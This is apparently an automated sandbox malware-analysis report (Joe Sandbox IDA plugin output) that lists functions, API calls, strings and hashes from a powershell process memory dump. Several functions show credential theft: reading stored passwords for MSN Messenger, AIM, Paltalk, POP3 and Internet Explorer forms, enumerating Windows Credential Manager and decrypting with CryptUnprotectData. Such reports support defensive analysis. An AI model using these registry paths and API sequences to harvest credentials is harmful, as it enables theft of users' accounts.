Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??3@$strlen
String ID:
API String ID: 4288758904-3916222277
Opcode ID: 9c9cc1151678b2697f8a7d88cf9cff7bd28171a94cb424ec11849ca71a27f27f
Instruction ID: d333ae2b58ca57a5e95d27ff611bbcc91c556c8a5badbdc87924e9ab9e00570b
Opcode Fuzzy Hash: 9c9cc1151678b2697f8a7d88cf9cff7bd28171a94cb424ec11849ca71a27f27f
Instruction Fuzzy Hash: 15616AB1C0461ADADF20AFA5D4854EEBFB8FB05306F2084BFE151B2281C7794B428B49

Function 0040FE5D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 99registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,Password.NET Messenger Service,00000000,00000000,?,?,75B4EC10,00000000), ref: 0040FE8C
RegQueryValueExA.ADVAPI32(?,User.NET Messenger Service,00000000,00000000,?,?), ref: 0040FF56

Part of subcall function 00404C9D: LoadLibraryA.KERNELBASE(crypt32.dll,00000000,00404771,?,?), ref: 00404CAA
Part of subcall function 00404C9D: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00404CBC

memcpy.MSVCRT ref: 0040FEFE
LocalFree.KERNEL32(?,?,00000000,?), ref: 0040FF0A
RegCloseKey.ADVAPI32(?), ref: 0040FF79

Strings

User.NET Messenger Service, xrefs: 0040FF4F
Password.NET Messenger Service, xrefs: 0040FE7A
, xrefs: 0040FEA7

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: QueryValue$AddressCloseFreeLibraryLoadLocalProcmemcpy
String ID: $Password.NET Messenger Service$User.NET Messenger Service
API String ID: 2372935584-105384665
Opcode ID: 0efffbcd1b8067ca95f35c9c097a34e3d5fc4d975f38032de2900e02614f1ca4
Instruction ID: 9eae1372b2d93665619faee8fa876547b7665fb4356df5418aeb828a8df32af1
Opcode Fuzzy Hash: 0efffbcd1b8067ca95f35c9c097a34e3d5fc4d975f38032de2900e02614f1ca4
Instruction Fuzzy Hash: AD314FB2D00219AFDB11DF95D880ADEBBB8FF49344F004077F515B3251D7389A499B98

Function 00404D7A Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52libraryloaderwindowCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(comctl32.dll), ref: 00404D99
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00404DAB
FreeLibrary.KERNEL32(00000000), ref: 00404DBF
MessageBoxA.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404DEA

Strings

comctl32.dll, xrefs: 00404D82
Error, xrefs: 00404DDF
InitCommonControlsEx, xrefs: 00404DA5
Error: Cannot load the common control classes., xrefs: 00404DE4

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Library$AddressFreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 2780580303-317687271
Opcode ID: 0271221c947319f8f9baa3460b985664642af3c5e03074db1750b5e73f8f99f3
Instruction ID: eec6f3f66ef6417fb43289990c32370c6d67362bb519490399a3c202bd773795
Opcode Fuzzy Hash: 0271221c947319f8f9baa3460b985664642af3c5e03074db1750b5e73f8f99f3
Instruction Fuzzy Hash: 6701D671751615ABD3215BA09C49BEB3EA8DFC9749B118139E206F2180DFB8CA09829C

Function 00406735 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarystringwindowCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(netmsg.dll,00000000,00000002), ref: 0040675A
FormatMessageA.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000), ref: 00406778
strlen.MSVCRT ref: 00406785
_mbscpy.MSVCRT ref: 00406795
LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 0040679F
_mbscpy.MSVCRT ref: 004067AF

Strings

netmsg.dll, xrefs: 00406755
Unknown Error, xrefs: 004067A7

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscpy$FormatFreeLibraryLoadLocalMessagestrlen
String ID: Unknown Error$netmsg.dll
API String ID: 2881943006-572158859
Opcode ID: 6c5198025c4bc101f62493cbe4ad8011c35f98b5ff5852a1443cd9ba15c7a2da
Instruction ID: dfc2e55caf94d9be92a05a02ea8e3c4f3bcfe7ce6760d4d77d664b9d120d38b6
Opcode Fuzzy Hash: 6c5198025c4bc101f62493cbe4ad8011c35f98b5ff5852a1443cd9ba15c7a2da
Instruction Fuzzy Hash: F1014731600210BBDB152B60FD46EDF7F2CDF44B95F20403AF602B6090DA385E50C69C

Function 00404109 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00404170: FreeLibrary.KERNEL32(?,00404111,00000000,0040FFAB,75B4EC10), ref: 00404177

LoadLibraryA.KERNEL32(advapi32.dll,00000000,0040FFAB,75B4EC10,?,?,?,?,?,?,?,?,?,?,?,0040DB18), ref: 00404116
GetProcAddress.KERNEL32(00000000,CredReadW), ref: 0040412F
GetProcAddress.KERNEL32(?,CredFree), ref: 0040413B
GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 00404147

Strings

CredReadW, xrefs: 00404129
CredFree, xrefs: 00404131
advapi32.dll, xrefs: 00404111
CredEnumerateW, xrefs: 0040413D

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CredEnumerateW$CredFree$CredReadW$advapi32.dll
API String ID: 2449869053-331516685
Opcode ID: 521c868f04d398ed4da8af9e7a80e13fe4feb64e4d3800075c34db4e7e47eec4
Instruction ID: 12efa8cab8f3f54fa256443a021a4d85af4a352dd089a4683602f903f3396d9b
Opcode Fuzzy Hash: 521c868f04d398ed4da8af9e7a80e13fe4feb64e4d3800075c34db4e7e47eec4
Instruction Fuzzy Hash: E7F0FFB06087009AD770AF75DC09B97BAF4AFD8700B25883FE195A6690D77DE8C1CB58

Function 0040955A Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 0040937C
Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 0040938A
Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 0040939B
Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 004093B2
Part of subcall function 00409370: ??3@YAXPAX@Z.MSVCRT ref: 004093BB

??2@YAPAXI@Z.MSVCRT ref: 00409591
??2@YAPAXI@Z.MSVCRT ref: 004095AD
memcpy.MSVCRT ref: 004095D5
memcpy.MSVCRT ref: 004095F2
??2@YAPAXI@Z.MSVCRT ref: 0040967B
??2@YAPAXI@Z.MSVCRT ref: 00409685
??2@YAPAXI@Z.MSVCRT ref: 004096BD

Part of subcall function 0040876F: LoadStringA.USER32(00000000,00000006,?,?), ref: 00408838
Part of subcall function 0040876F: memcpy.MSVCRT ref: 00408877

Part of subcall function 0040876F: _mbscpy.MSVCRT ref: 004087EA
Part of subcall function 0040876F: strlen.MSVCRT ref: 00408808

Strings

d, xrefs: 0040969C
$, xrefs: 00409645

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??2@??3@$memcpy$LoadString_mbscpystrlen
String ID: $$d
API String ID: 2915808112-2066904009
Opcode ID: 6f5aac561b5649608c0d5148fdd10fc31cb827f7443ab44f776165d2fa363ad4
Instruction ID: c86123869de2e32e5bed1250838fccac9115591d6117e5efa9fb73667f4d6fb1
Opcode Fuzzy Hash: 6f5aac561b5649608c0d5148fdd10fc31cb827f7443ab44f776165d2fa363ad4
Instruction Fuzzy Hash: D8514971A01704AFDB24DF29D582BAAB7F4FF48314F10852EE55ADB292DB74E9408F44

Function 004134D0 Relevance: 13.6, APIs: 9, Instructions: 61windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 004134D2
GetWindowLongA.USER32(00000000,000000EC), ref: 004134E4
GetWindowLongA.USER32(00000000,000000F0), ref: 004134EF
GetClassNameA.USER32(00000000,?,000003FF), ref: 00413505
GetWindowTextA.USER32(00000000,?,000003FF), ref: 00413511
GetWindowRect.USER32(00000000,?), ref: 0041351F
CopyRect.USER32(?,?), ref: 00413533
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 00413541
SendMessageA.USER32(00000000,00000031,00000000,00000000), ref: 0041359A

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Window$LongRect$ClassCopyMessageNameParentPointsSendText
String ID:
API String ID: 2317770421-0
Opcode ID: 7af2e41bf762aae8540d43ee514e8ccf414c9672fa24b186be0172eacc68f4a9
Instruction ID: beb27d93b7d0259d1707648e93b0cb5b486bd7e44cd55be4178ee0c76b875b45
Opcode Fuzzy Hash: 7af2e41bf762aae8540d43ee514e8ccf414c9672fa24b186be0172eacc68f4a9
Instruction Fuzzy Hash: BF21A6B5500B01EFD7609F75DC88AD7BBEDFB88700F00CA2DA5AAD2254DA306541CFA4

Function 0041244B Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 60COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0041247B
memcpy.MSVCRT ref: 004124A1
memcpy.MSVCRT ref: 004124B9

Strings

°, xrefs: 0041248E
<, xrefs: 0041245C
>, xrefs: 00412468
<br>, xrefs: 004124B3
&, xrefs: 0041249B
", xrefs: 00412475

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 13415ff2963e6dace8cd86106c59db4403270bd4b6c64038e468014c2b1c2be9
Instruction ID: f5a03e54b86e24f841f817b97e8ec33e4e13f45a83786b80a5cfcbc9bb1d817d
Opcode Fuzzy Hash: 13415ff2963e6dace8cd86106c59db4403270bd4b6c64038e468014c2b1c2be9
Instruction Fuzzy Hash: 0401DFB2EC465475EB3201093E4AFE72A4447B7B21F660667F589A0285E0DD0EF381BF

Function 00410205 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004102AA
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000,?,75B4EC10,00000000), ref: 004102C3
_strnicmp.MSVCRT ref: 004102DF
WideCharToMultiByte.KERNEL32(00000000,00000000,00418AE0,000000FF,?,000000FF,00000000,00000000,?,?,?,?,75B4EC10,00000000), ref: 0041030D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,000000FF,00000000,00000000,?,?,?,?,75B4EC10,00000000), ref: 0041032C

Strings

windowslive:name=, xrefs: 004102D9
WindowsLive:name=*, xrefs: 00410227, 00410256

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ByteCharMultiWide$_strnicmpmemset
String ID: WindowsLive:name=*$windowslive:name=
API String ID: 2393399448-3589380929
Opcode ID: 71b69f7c8173fc3aa574efd14f73b3720c8d0a19d14fe5437baa1e670a90085b
Instruction ID: 25a7ce4e34514ebc1ab433be8417aa6076f8fd68c633d2ab3a6fecdf2bbac582
Opcode Fuzzy Hash: 71b69f7c8173fc3aa574efd14f73b3720c8d0a19d14fe5437baa1e670a90085b
Instruction Fuzzy Hash: 59414DB190021EAFDB149F94DD849EEB7BCBF08304F1441AAE915A3251D774EEC4CBA8

Function 0040821A Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 106registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040733E: ??3@YAXPAX@Z.MSVCRT ref: 00407341
Part of subcall function 0040733E: ??3@YAXPAX@Z.MSVCRT ref: 00407349

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

Part of subcall function 0040746B: ??3@YAXPAX@Z.MSVCRT ref: 00407478

memset.MSVCRT ref: 00408286
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,00000000,?), ref: 004082AF
_strupr.MSVCRT ref: 004082CD

Part of subcall function 00407364: strlen.MSVCRT ref: 00407375
Part of subcall function 00407364: ??3@YAXPAX@Z.MSVCRT ref: 00407398
Part of subcall function 00407364: ??3@YAXPAX@Z.MSVCRT ref: 004073BB
Part of subcall function 00407364: memcpy.MSVCRT ref: 004073DB

memset.MSVCRT ref: 00408313
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,00000000,?), ref: 0040833E
RegCloseKey.ADVAPI32(?), ref: 0040834F

Strings

Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 00408237

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??3@$EnumValuememset$CloseOpen_struprmemcpystrlen
String ID: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
API String ID: 373939914-680441574
Opcode ID: 595d46858c789d7861cec1ba9a6a44fece00a80f0e7bf05d1a4c71afb02c0405
Instruction ID: e14454ebfdff30ad66f99699cc9b695ae8a68f87cdcb03d8fe41683d15f76d0b
Opcode Fuzzy Hash: 595d46858c789d7861cec1ba9a6a44fece00a80f0e7bf05d1a4c71afb02c0405
Instruction Fuzzy Hash: 5141EDB2D0011DAFDB11DF99DC829DEBBBCAF14304F10406ABA05F2151E634AB45CB95

Function 0040260A Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 93registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\America Online\AIM6\Passwords,00000000,00020019,?), ref: 00402638
memset.MSVCRT ref: 0040265A
memset.MSVCRT ref: 00402676
wcscpy.MSVCRT ref: 004026BD
RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,?,?,?), ref: 0040271B
RegCloseKey.ADVAPI32(?), ref: 00402724

Strings

Software\America Online\AIM6\Passwords, xrefs: 0040262E

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$CloseEnumOpenValuewcscpy
String ID: Software\America Online\AIM6\Passwords
API String ID: 295685061-818317896
Opcode ID: a6e0e670a062fae4d46a71794003c79dd6e3f5cc49125a91a21113afdc381c0b
Instruction ID: 88eb4c74892045a3a61c352dacbb2536a85d96596cfce7057c4216d26753dbed
Opcode Fuzzy Hash: a6e0e670a062fae4d46a71794003c79dd6e3f5cc49125a91a21113afdc381c0b
Instruction Fuzzy Hash: F5311AB284011DAACB10DF91DC45EEFBBBCEF08344F1040A6A609F2180E77497998FA9

Function 00407A93 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 93registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407AB4
RegQueryValueExA.ADVAPI32(?,POP3_credentials,00000000,?,?,?), ref: 00407AF3

Part of subcall function 00404C9D: LoadLibraryA.KERNELBASE(crypt32.dll,00000000,00404771,?,?), ref: 00404CAA
Part of subcall function 00404C9D: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00404CBC

WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,000000FD,00000000,00000000,?,00000000,?), ref: 00407B57
LocalFree.KERNEL32(?), ref: 00407B67

Part of subcall function 00411D82: RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,00000008,00000008,?,0040275E,?,TRIPWD), ref: 00411D9B

Part of subcall function 00406958: strlen.MSVCRT ref: 0040695D
Part of subcall function 00406958: memcpy.MSVCRT ref: 00406972

Strings

POP3_host, xrefs: 00407B87
POP3_credentials, xrefs: 00407ACC
POP3_name, xrefs: 00407B6D

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: QueryValue$AddressByteCharFreeLibraryLoadLocalMultiProcWidememcpymemsetstrlen
String ID: POP3_credentials$POP3_host$POP3_name
API String ID: 2752996003-2190619648
Opcode ID: cec00202e2846724d0b0b46026d070755af8ff0a54eef50ead682826a2db23de
Instruction ID: 3c80738b82331245788ee24e24f692cafec0a237d8f87c7d6b462bdafe46d179
Opcode Fuzzy Hash: cec00202e2846724d0b0b46026d070755af8ff0a54eef50ead682826a2db23de
Instruction Fuzzy Hash: 9F312DB190121DAFDB11DF99DD81AEEBBBCEF48304F4040AAE955B3251D634AF448BA4

Function 00410F07 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

memset.MSVCRT ref: 00410F48

Part of subcall function 00411DEE: RegEnumKeyExA.ADVAPI32(?,000000FF,000000FF,?,00000000,00000000,00000000,000000FF,000000FF), ref: 00411E11

memset.MSVCRT ref: 00410F92
RegCloseKey.ADVAPI32(?), ref: 00410FF6
RegCloseKey.ADVAPI32(?), ref: 0041101F

Strings

pwd, xrefs: 00410FBB
nickname, xrefs: 00410F97
Software\Paltalk, xrefs: 00410F16

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Closememset$EnumOpen
String ID: Software\Paltalk$nickname$pwd
API String ID: 1938129365-1014362899
Opcode ID: c23878bb76d00e9547f06f5eb81a13c4f10b53ad90653c278c10a550e2a960fe
Instruction ID: 96d414647358d9b2c810da9b3bce946d65dcecd18022e5434843d59e9988e6f9
Opcode Fuzzy Hash: c23878bb76d00e9547f06f5eb81a13c4f10b53ad90653c278c10a550e2a960fe
Instruction Fuzzy Hash: 7B3164B1D4011DAFDF11AB95DD42BEE7B7DAF18304F0000A6F604A2111D7399F95CB65

Function 004044DE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 59libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00410DAA: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00410DC0

FreeLibrary.KERNEL32(00000000,000000FF,0000000E,?,?,0040428D), ref: 0040456E

Part of subcall function 00410D8A: LoadLibraryA.KERNEL32(advapi32.dll,00410DB5,00000000,00000000,004044F8,000000FF,0000000E,?,?,0040428D), ref: 00410D94

GetProcAddress.KERNEL32(00000000,DuplicateToken), ref: 0040451C
GetProcAddress.KERNEL32(00000000,SetThreadToken), ref: 00404543
CloseHandle.KERNEL32(?), ref: 00404553
CloseHandle.KERNEL32(?,00000000,000000A0,000000FF,0000000E,?,?,0040428D), ref: 0040455D

Strings

SetThreadToken, xrefs: 0040453B
DuplicateToken, xrefs: 00404514

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressProc$CloseHandleLibrary$FreeLoad
String ID: DuplicateToken$SetThreadToken
API String ID: 3357505703-785560009
Opcode ID: ead61f231025bced0a09c2f1fb3dd8adab68ce1b78bee45ece79c7bb5241faa8
Instruction ID: fb771c117c903999f7ab115302b4b85a9bfa7a6589c8aae05a31450a7ce75296
Opcode Fuzzy Hash: ead61f231025bced0a09c2f1fb3dd8adab68ce1b78bee45ece79c7bb5241faa8
Instruction Fuzzy Hash: D4113071900109FBDB10E7A5DD55EEE7B78AF84340F144176A611B10E1EB74DF44DA68

Function 00408FBC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004069D3: GetFileAttributesA.KERNELBASE(0040390F,0040D4DB,0040390F,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004069D7

_mbscpy.MSVCRT ref: 00408FD6
_mbscpy.MSVCRT ref: 00408FE6
GetPrivateProfileIntA.KERNEL32(0041E308,rtl,00000000,0041E200), ref: 00408FF7
GetPrivateProfileStringA.KERNEL32(0041E308,charset,00417C88,0041E350,0000003F,0041E200), ref: 00409022

Strings

charset, xrefs: 0040900F
rtl, xrefs: 00408FF1
general, xrefs: 00408FDB

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: PrivateProfile_mbscpy$AttributesFileString
String ID: charset$general$rtl
API String ID: 888011440-3784062100
Opcode ID: 55f41d98300eda273b6a0d0ace1f1b61fb276ed63f1592d27e33da27b08274f9
Instruction ID: ef4fb33988e1ec7767552a7ed3f3ae2affcfc9826048e3bb16e6b0e4c8ee98e3
Opcode Fuzzy Hash: 55f41d98300eda273b6a0d0ace1f1b61fb276ed63f1592d27e33da27b08274f9
Instruction Fuzzy Hash: 2CF0B43568020879E3111712AC0AFFB6E68EB86F11F18843FBC14921D1D67D494185AD

Function 00405865 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040588A
strlen.MSVCRT ref: 00405910
memset.MSVCRT ref: 0040595D
memset.MSVCRT ref: 0040596F

Strings

', xrefs: 0040592F
', xrefs: 00405915
S'username', xrefs: 00405A85
S'password', xrefs: 00405AA0

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$strlen
String ID: '$'$S'password'$S'username'
API String ID: 3337090206-859024053
Opcode ID: e1cab7f00341b9ec69ea1fd77629a3ef37b3dcc5a417ad93794562d5d2f9417f
Instruction ID: 095c589e2a809376e97825867b0f887a5e853f6b8f709b3ead32f3d6acc6b9c2
Opcode Fuzzy Hash: e1cab7f00341b9ec69ea1fd77629a3ef37b3dcc5a417ad93794562d5d2f9417f
Instruction Fuzzy Hash: A5716071D0065DAECF21DB94C881BEFBBB4EF1A314F5041ABD444B7282D6385A8A8F59

Function 0040AC28 Relevance: 12.1, APIs: 8, Instructions: 108windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001003,00000001,?), ref: 0040AC75
SendMessageA.USER32(?,00001003,00000000,?), ref: 0040ACAA
LoadImageA.USER32(00000085,00000000,00000010,00000010,00001000), ref: 0040ACDF
LoadImageA.USER32(00000086,00000000,00000010,00000010,00001000), ref: 0040ACFB
GetSysColor.USER32(0000000F), ref: 0040AD0B
DeleteObject.GDI32(?), ref: 0040AD3F
DeleteObject.GDI32(00000000), ref: 0040AD42
SendMessageA.USER32(00000000,00001208,00000000,?), ref: 0040AD60

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: MessageSend$DeleteImageLoadObject$Color
String ID:
API String ID: 3642520215-0
Opcode ID: 89608fa394cce56546426f1758b6b0ed6a96b027106975741db31758971510ff
Instruction ID: 10adafa9a034a25fdfd439dfbbefb27d9cbe3ef8874ff0eb0b967345faf6b271
Opcode Fuzzy Hash: 89608fa394cce56546426f1758b6b0ed6a96b027106975741db31758971510ff
Instruction Fuzzy Hash: B8316171680708BFFA316B60DC47FD67695EB88B00F104829F3857A1E1CAF278909B58

Function 0040D1D6 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 77COMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040D1ED
_strcmpi.MSVCRT ref: 0040D20E
_strcmpi.MSVCRT ref: 0040D22F
_strcmpi.MSVCRT ref: 0040D253

Strings

name, xrefs: 0040D1E7
password, xrefs: 0040D208
account, xrefs: 0040D24D
protocol, xrefs: 0040D229

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _strcmpi
String ID: account$name$password$protocol
API String ID: 1439213657-933060687
Opcode ID: 9f4445d43ae643b9a2fe9e2fdb03cf84892fe8e67e04b4e06ad1d96e1e33e757
Instruction ID: 794633c49b8c9c94e8125cdebcfe219ffcc263fe4270280c1a3d0952be7122e7
Opcode Fuzzy Hash: 9f4445d43ae643b9a2fe9e2fdb03cf84892fe8e67e04b4e06ad1d96e1e33e757
Instruction Fuzzy Hash: EA2130B2608702ADE718DE7598407D6F7D4BF05715F20022FE66CD2180FB39A554CB9D

Function 0040B3FF Relevance: 12.1, APIs: 8, Instructions: 76COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0040B41E
GetWindowRect.USER32(?,?), ref: 0040B434
GetWindowRect.USER32(?,?), ref: 0040B447
BeginDeferWindowPos.USER32(00000003), ref: 0040B464
DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 0040B481
DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 0040B4A1
DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000004), ref: 0040B4C8
EndDeferWindowPos.USER32(?), ref: 0040B4D1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Window$Defer$Rect$BeginClient
String ID:
API String ID: 2126104762-0
Opcode ID: 0757be7f740c367b27a432adcadcbbd04f52c6bec85c836fbe865042ee467c30
Instruction ID: fdc4126930c1b8f3c9151252813053957ee6f88c11e53af12b0e4d030a96b888
Opcode Fuzzy Hash: 0757be7f740c367b27a432adcadcbbd04f52c6bec85c836fbe865042ee467c30
Instruction Fuzzy Hash: CA21D672900609FFDF12CFA8DD89FEEBBB9FB48310F108464FA55A2160C7316A519B24

Function 0040A129 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 004067EC: strlen.MSVCRT ref: 004067F9
Part of subcall function 004067EC: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040A46C,?,<item>), ref: 00406806

_mbscat.MSVCRT ref: 0040A1EE
sprintf.MSVCRT ref: 0040A210

Strings

<tr>, xrefs: 0040A14E
 , xrefs: 0040A1E8
<td bgcolor=#%s nowrap>%s, xrefs: 0040A134
<td bgcolor=#%s>%s, xrefs: 0040A140

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: FileWrite_mbscatsprintfstrlen
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 1631269929-4153097237
Opcode ID: 3523185fe67812ce5c4df5690e324f3de58a353957d607fc5cd479dc7c7c253a
Instruction ID: f5ff55beaed6f71e33551b2c4209876a9ab5e20235427d51249a725151ce9b26
Opcode Fuzzy Hash: 3523185fe67812ce5c4df5690e324f3de58a353957d607fc5cd479dc7c7c253a
Instruction Fuzzy Hash: 68318231900209AFCF05DF54C8869DE7BB6FF44314F10416AFD11BB2A2DB76A955CB84

Function 0040876F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100stringCOMMON

Download Yara Rule

APIs

_mbscpy.MSVCRT ref: 004087EA

Part of subcall function 00408BF9: _itoa.MSVCRT ref: 00408C1A

strlen.MSVCRT ref: 00408808
